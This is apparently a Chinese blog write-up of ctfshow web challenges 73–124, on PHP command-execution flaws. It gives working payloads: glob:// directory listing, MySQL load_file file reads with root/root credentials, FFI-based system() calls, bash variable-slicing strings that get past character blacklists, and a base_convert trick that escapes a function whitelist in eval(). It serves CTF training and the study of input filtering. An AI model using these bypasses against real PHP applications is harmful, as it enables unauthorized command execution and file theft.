ctfshow - web - 命令执行漏洞总结(二)

web73

该题目没有开启web72的open_basedir,所以可以使用var_export(scandir('/'));exit();进行目录扫描。

读取文件函数:

require_once()

web74

scandir()函数被禁用,使用glob://伪协议进行读取根目录文件。

c=var_export(glob('../../../*'));exit();

c=var_export(glob('/*'));exit();

c=a=opendir("glob:///\*");while ((file = readdir(a)) !== false) {echo file . "<br>";};exit();

然后仍然用include()等函数来读取文件。

web75

直接用c=var_export(glob("/*"));exit();去查看根目录文件,发现返回false,说明直接用glob()函数存在问题。利用glob伪协议,可以绕过,得到根目录文件。

复制代码
c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();

存在flag36.txt文件。include()等函数被过滤,ufa脚本也被过滤,因此可以使用mysql的load_file()函数进行文件读取。

php 复制代码
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row){
      echo($row[0])."|"; 
	}
    $dbh = null;
}catch (PDOException $e) {
 	echo $e->getMessage();
    exit(0);
}exit(0);


try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}
// 终止脚本执行
exit();

dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。 PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。 DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。 foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 dbh->query 返回),并处理每一行的数据。

这里的ctftraing数据库可以更换为information_schema,information数据库包含了所有的信息,因此也可以查询到flag36.txt的信息。

这里数据库的名称为空仍然可以获取到flag36.txt,可能information_schema为默认的数据库。

下面的代码为mysqli的形式:

php 复制代码
c=$dbh=mysqli_connect('localhost','root','root','ctftraining');
if($dbh->connect_errno){
    echo "连接失败".$dbh->connect_error;exit(); 
} 
$dbh->set_charset('utf8mb4'); 
$q='select load_file("/flag36.txt") as file_content';
foreach(mysqli_query($dbh,$q) as $row){ 
    echo $row['file_content']."|";
}
$dbh=null;
exit(0);

c=$dbh=mysqli_connect('localhost','root','root','ctftraining');if($dbh->connect_errno){echo "连接失败".$dbh->connect_error;exit();} $dbh->set_charset('utf8mb4');$q='select load_file("/flag36.txt") as file_content';foreach(mysqli_query($dbh,$q) as $row){echo $row['file_content']."|";}$dbh=null;exit(0);

#该代码数据库的部分仍然可为空,应该是存在默认数据库。

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

利用php语言实现sql查询:

#查询数据库

php 复制代码
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();
// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');
// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){
    echo($row[0])."|";
}
// 终止脚本执行
exit();
复制代码
php 复制代码
#查询表
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();
​
#查询字段
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();
​
#查询值
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select FLAG_COLUMN from FLAG_TABLE");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

web77

该题禁用了使用mysql代码的方法去读取flag。在php7.4版本以上存在一个FFI参数,该参数的FFI:cdef方法可用于定义C函数原型。int system(const char *command)是C语言中 system()函数的声明,system($a)函数只接受一个字符串参数(即shell命令),并且会在系统中执行该命令。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象

$a='/readflag > 1.txt';//没有回显的

ffi-\>system(a);//通过$ffi去调用system函数

声明system()函数为ffi变量,a是执行/readfile文件到1.txt,利用system()函数执行$a。

执行过程:利用ffi变量调用system()函数,然后执行a,实际就是执行shell命令:/readfile文件到1.txt

paylaod:

c=ffi = FFI::cdef("int system(const char \*command);");a='/readflag > 1.txt';ffi-\>system(a);

问题:为什么不能直接访问flag36x.txt,原因:权限不够,将flag36x.txt重定位到1.txt,可以看到没有内容。

使用ls -a命令查看根目录文件的权限:

c=ffi = FFI::cdef("int system(const char \*command);");a='ls -l / > 1.txt';ffi-\>system(a);

对于以上字符串每三个字符为一组,分别表示所有者权限,文件所属组的权限,其他用户和组的权限。

所以看到flag36x.txt是只有所有者和所属组有读的权限,其他组和用户没有任何权限。因此无法直接读取flag36x.txt。但是readfile文件是其他用户和组有读取和执行的权限,因此可以读取并执行该文件。

执行该文件后为什么能够输出flag:

原因:readflag文件是一个二进制文件,该文件的作用是用来提升权限的,所以能够输出flag。

重定位该文件到4.txt文件,然后访问下载该文件,用IDA打开进行反编译:

setuid(0):将权限提升为root。所以通过提升用户权限为root来读取flag。

int __fastcall main(int argc, const char **argv, const char **envp)

{

setuid(0); // 提升权限为root用户

puts("ctfshow flag getter"); // 输出一条信息到标准输出

system("cat /flag36x.txt"); // 执行命令,输出文件 /flag36x.txt 的内容

return 0; // 返回0,表示程序正常结束

}

就是提权成 root

web118

黑盒测试题目,不知道源码。

输入数字和小写字母被过滤。大写字母没有被过滤。查看源码,发现时输入命令在system()函数中执行。

BP抓包查看那些字符是没有被过滤:发现除了大写字母还有一些字符没有被过滤,例如 ~ 符号。

知识点:Linux内置变量,bash切片。

在linux中存在内置变量(系统变量)用于配置系统信息或者存储系统信息。

(1)$BASH

描述:指向当前使用的Bash解释器的路径。

示例:/bin/bash

用途:用于确定正在使用的Bash版本和路径。

(2) $PATH

描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。

示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。

(3)$HOME

描述:当前用户的主目录路径。

示例:/home/username

用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。

(4)$PWD

描述:当前工作目录(Present Working Directory)。

示例:/home/username/projects

用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。

(5)$USER

描述:当前登录的用户名。

示例:username

用途:表示当前用户的名称,常用于显示或检查用户信息。

(6)$SHELL

描述:当前用户的默认shell。

示例:/bin/bash

用途:表示用户登录时使用的默认shell路径。

(7)$UID

描述:当前用户的用户ID。

示例:1000(普通用户),0(root用户)

用途:标识当前用户的唯一ID。

(8)$IFS

描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。

示例:默认值为<space><tab><newline>

用途:影响脚本中的字段分割,常用于处理输入和解析文本。

(9)$PS1

(10)$OSTYPE

(11)$TERM

bash切片知识

与python切片类似。格式:${VAR:offset:length}

复制代码
${PWD:1:3}

在bash中字符串索引的位置也从0开始。以上命令表示执行$PWD命令后将执行结果截取下标为1-3位置的字符。

${PWD:1}

如果只填写一个字符则会默认访问到字符串结尾。

该题目会用到 ~ 符号。~ 代表从结尾开始取值:

用到 ~ 的原因是需要在结尾处截取字符串进行字符串拼接从而得到能够执行shell命令的参数。

由于数字被过滤,所以需要用到大写字母:

看到大写字母无论有几个都只是截取末尾的一个字符,与数字0等效。

在该题目下,应该是部署/var/www/html环境下,所以PWD的结果应该是/var/www/html,而PATH的结果最后一个是bin,所以可以拼接出nl命令来读取flag。

payload:

{PATH:\~A}{PWD:~A} ????.???

读取flag.php文件,因为通配符 ? 可以使用,所以用 ????.??? 来代替flag.php

{PATH:{#HOME}:{#SHLVL}}{PATH:{#RANDOM}:{#SHLVL}} ?{PATH:{#RANDOM}:${#SHLVL}}??.???

等价于:ll ?l??.???

#其他师傅

{PATH:\~A}{PATH:{#TERM}:{SHLVL:~A}} ????.???

在bash中${#var}用于获取变量var的长度,所以这里的截取位置需要的数字可以通过这种方法进行获取。

这种方法可以用于任何变量,字符串变量以及环境变量。

比如:HOME 返回 /root, 所以{#HOME} = 5

web119

该题目在原来过滤了小写字母和数字以及一些特殊字符的基础上,又过滤了PATH这个单词,因此,上一题的payload无法使用。

利用${#RANDOM}系统内置变量,该变量是用来随机生成数字4或者5,因此,可以构造/bin/base64来读取flag。

复制代码
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

{PWD::{#SHLVL}} 返回反斜杠/,用???通配符代表bin,用?????代表base6,用????.???代表flag.php。

{PWD::{SHLVL}}???{PWD::{SHLVL}}?????${#RANDOM} ????.???

{PWD::{SHLVL}}也返回 /,但不知道为什么不行,不能返回结果。

错误原因:因为{SHLVL}是返回在linux中第一次打开进程是值为1,第二次打开进程时值为2。所以当传入{SHLVL}时,值为2则不能返回反斜杠 / 。

{HOME:{#HOSTNAME}:${#SHLVL}} ====> t

{PWD:{Z}:${#SHLVL}} ====> /

/bin/cat flag.php

{PWD:{#}:{#SHLVL}}???{PWD:{#}:{#SHLVL}}??{HOME:{#HOSTNAME}:${#SHLVL}} ????.???

其他方法:

复制代码
0:${#};
1:${#SHLVL}=1,或者${##}、${#?}。
2:${SHLVL}=2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)
3:${#IFS}=3。(linux下是3,mac里是4)

构造payload: /bin/cat flag.php

已知$PWD返回/var/www/html

复制代码
${PWD::${#SHLVL}}??? = /bin

${PWD:${SHLVL}:${#SHLVL}} = a

${PWD:~${SHLVL}:${#SHLVL}} = t

${PWD::${#SHLVL}}?${PWD:${SHLVL}:${SHLVL}}${PWD:${SHLVL}:${SHLVL}} = /cat

${PWD:~A} = l

????.??? = flag.php

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}} ?${PWD:~A}??.???
    
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} = t
/???/??t ????.???
/bin/cat flag.php

{LANG:{#SHLVL}:{#SHLVL}}{PWD:~A} ?${PWD:~A}??.???

{SHELL:\~{#RANDOM}:{#SHLVL}}{PWD:~Q} ?${PWD:~A}??.???

这两条payload是通过构造nl命令来读取flag,但是没有成功。可能是因为nl没有被允许使用。

web120

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

该过滤条件导致只能通过字符拼接的方式去绕过过滤,并且拼接的字符串长度不能大于65,所以该payload不能使用。

复制代码
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}? ????.???

可以用以下paylaod来代替。

{PWD::{##}}???{PWD::{##}}??{PWD:\~{SHLVL}:${##}} ????.???

{PWD::{##}}???{PWD::{##}}??{PWD:\~{SHLVL}:${##}} ????.???

/???/??t ????.???

在控制字符串长度的时候,可以使用等价的长度更短的符号代替,这里{##} = {#SHLVL}

官方WP:

复制代码
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

这里可以使用{USER:\~A},因为USER在这里的参数是:www-data,{USER:~A} = a,该方法无法读取flag。读取了ELF的二进制文件。

其他方法:

用/bin/rev去读取flag,出来结果是逆序。

{PWD::{#SHLVL}}??? = /bin

{PWD:{#IFS}:{#SHLVL}} {#IFS}返回结果为3,因此可以读取/var/www/html结果为:r。

因此 {PWD::{#SHLVL}}{PWD:{#IFS}:${#SHLVL}}?? = /rev

{PWD::{##}}???{PWD::{##}}{PWD:{#IFS}:${#SHLVL}}?? ????.??? = /bin/rev flag.php

{PWD::{#SHLVL}}???{PWD::{#SHLVL}}?????${#RANDOM} ????.???

也可用上一题base64的方法去绕过,但要多试几次。

web121

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

{PWD::{#SHLVL}}???{PWD::{#SHLVL}}?????${#RANDOM} ????.???

由于SHLVL被过滤,因此,可以用## 来代替SHLVL。

{PWD::{##}}???{PWD::{##}}?????${#RANDOM} ????.???

另一个payload:利用/bin/rev来获取flag

{PWD::{##}}???{PWD::{##}}{PWD:{#IFS}:${##}}?? ????.???

web122

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

code=<A;{HOME::?}???{HOME::?}?????{RANDOM::?} ????.???

该题目是增加了更多的过滤,由于过滤了 # 和 PWD 变量,所以上一题payload无法使用。

该题目利用 ? 进行绕过,来进行字符串的拼接,?用来返回上一个命令的执行状态,当命令执行错误时,状态值返回1,执行正确时状态值返回0。因此前面执行<A,是错误命令,会返回1,而HOME返回/root结果,取下第一个字符,则为/,后面RANDOM,由于"#"被过滤,因此需要使用?来进行切割取随机数的第一位,当取到4时则构成base64读取flag。

由于没有特征,所以在用通配符识别命令时会比较缓慢。

web124

php 复制代码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
?>

该题目是过滤了一些特殊符号,只允许在白名单whitelist中的函数进行操作,所以只能利用这些函数构造payload:

看文件

c=pi=base_convert(37907361743,10,36)(dechex(1598506324));pi{abs}($pi{acos});&abs=system&acos=ls

读取文件

c=pi=base_convert(37907361743,10,36)(dechex(1598506324));pi{abs}($pi{acos});&abs=system&acos=tac flag.php

解析

pi是因为题目限制只能用这个,其他的不让用 首先pi的值是_GET,定义这个变量是因为为了动态调用php函数,动态调用 PHP 函数需要使用 var{func} 这种形式,其中 var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造

pi{abs}(pi{acos});&abs=system&acos=ls

pi{abs}(pi{acos});&abs=system&acos=tac flag.php

因为pi 是一个字符串,而不是一个函数。pi 的值是通过将 37907361743 和 1598506324 作为参数传递给 base_convert 和 dechex 函数计算得到的字符串。因此,如果直接使用 pi{abs}(pi{acos}),PHP 引擎将无法识别 pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,pi{abs} 将 pi{abs} 解释为一个变量名,然后使用 pi{acos} 作为该变量名的值进行函数调用。因此,pi{abs}(pi{acos}) 将会调用 pi{abs}($pi{acos})。 所以要构造

pi{abs}($$pi{acos});\&abs=system\&acos=ls ​ $$pi{abs}($$pi{acos});\&abs=system\&acos=tac flag.php preg_match_all('`/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]`\*/', $content, $used_funcs); 这句代码表明没有检测纯数字或者特殊符号,一但出现字符就会和白名单的函数进行匹配,如果存则通过,不存在则停止执行。y因此需要使用数字和特殊符号进行绕过。 payload: c=$pi=base_convert(37907361743,10,36)(dechex(1598506324)) = _GET; 原因: 首先需要构造能够执行参数的方法:$_GET()或者$_POST()。这就需要一个能够将数字转化为字符的函数,有 hex2bin。(这里是将16进制转为字符) base_convert()是将一个字符串默认从一个进制转到另一个进制。而base_convert("hex2bin",36,10)= 37907361743,因此base_convert(37907361743,10,36)也就等于hex2bin。 hexdec(bin2hex('_GET')) = 1598506324 注:hexdec是将16进制转化为10进制,dechex是将十进制转为16进制。 所以dechex(1598506324)就是_GET的16进制,然后通过hex2bin转化为字符串。 $$pi{abs}($$pi{acos}) ​ 双写$$是将传入一个参数的值再次当做变量,这里需要将传入的值当作变量后动态调用,因此出现$$pi{abs},这里{abs}等价于要传入的函数,$pi = _GET,所以$$pi{abs} = system,$$pi{acos} 即等价于传入system函数的参数。$$pi{abs}($$pi{acos}) = system($var)

这里白名单里的变量可以认为是一些允许出现的字符串,不能当作执行的函数,在拼接paylaod的过程中可以利用这些字符串当作参数。

相关推荐
JaguarJack18 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo18 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
longxiangam3 天前
Composer 私有仓库搭建
php·composer
上海云盾-高防顾问3 天前
DNS异常怎么办?快速排查+解决指南
开发语言·php
ShoreKiten3 天前
关于解决本地部署sqli-labs无法安装低版本php环境问题
开发语言·php
liliangcsdn3 天前
深入探索TD3算法的推理过程
开发语言·php